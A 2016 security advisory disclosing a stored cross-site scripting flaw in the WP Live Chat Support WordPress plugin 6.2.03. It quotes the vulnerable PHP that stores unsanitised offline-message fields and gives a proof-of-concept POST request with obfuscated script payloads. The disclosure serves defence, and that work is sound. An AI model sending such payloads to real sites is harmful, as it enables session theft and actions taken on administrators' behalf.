WordPress WP Live Chat Support 6.2.03 Cross Site Scripting
Posted on 03 August 2016
------------------------------------------------------------------------ Stored Cross-Site Scripting vulnerability in WP Live Chat Support WordPress Plugin ------------------------------------------------------------------------ Dennis Kerdijk <dennis.at.securelabs.nl> & Erwin Kievith <erwin.at.securelabs.nl>, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0010 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on WP Live Chat Support WordPress Plugin version 6.2.03. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in WP Live Chat Support version 6.2.04. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_wp_live_chat_support_wordpress_plugin.html The vulnerability exists in the file wp-live-chat-support/functions.php (line 1233), which is called in the file wp-live-chat-support/wp-live-chat-support.php (line 602): wp-live-chat-support/wp-live-chat-support.php: 600 if ($_POST['action'] == "wplc_user_send_offline_message") { 601 if(function_exists('wplc_send_offline_msg')){ wplc_send_offline_msg($_POST['name'], $_POST['email'], $_POST['msg'], $_POST['cid']); } 602 if(function_exists('wplc_store_offline_message')){ wplc_store_offline_message($_POST['name'], $_POST['email'], $_POST['msg']); } 603 do_action("wplc_hook_offline_message",array( 604 "cid"=>$_POST['cid'], 605 "name"=>$_POST['name'], 606 "email"=>$_POST['email'], 607 "url"=>get_site_url(), 608 "msg"=>$_POST['msg'] 609 ) 610 ); 611 } wp-live-chat-support/functions.php: 1206 function wplc_store_offline_message($name, $email, $message){ 1207 global $wpdb; 1208 global $wplc_tblname_offline_msgs; 1209 1210 $wplc_settings = get_option('WPLC_SETTINGS'); 1211 1212 if(isset($wplc_settings['wplc_record_ip_address']) && $wplc_settings['wplc_record_ip_address'] == 1){ 1213 if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != '') { 1214 $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR']; 1215 } else { 1216 $ip_address = $_SERVER['REMOTE_ADDR']; 1217 } 1218 $offline_ip_address = $ip_address; 1219 } else { 1220 $offline_ip_address = ""; 1221 } 1222 1223 1224 $ins_array = array( 1225 'timestamp' => current_time('mysql'), 1226 'name' => $name, 1227 'email' => $email, 1228 'message' => $message, 1229 'ip' => $offline_ip_address, 1230 'user_agent' => $_SERVER['HTTP_USER_AGENT'] 1231 ); 1232 1233 $rows_affected = $wpdb->insert( $wplc_tblname_offline_msgs, $ins_array ); 1234 return; 1235 } The vulnerability can be exploited using a specially crafted POST request. The victim needs view the WP Live Chat Offline Messages page to trigger the Cross-Site Scripting payload. It should be noted taht the offline message functionality is available even if there is a logged on chat user present. Proof of concept POST /wp-admin/admin-ajax.php HTTP/1.1 Host: <target> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 361 Connection: close action=wplc_user_send_offline_message&security=8d1fc19e30&cid=1&name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 110, 97, 109, 101, 33, 34, 41, 59));</script>&email=Mail&msg=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 109, 115, 103, 33, 34, 41, 59));</script> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
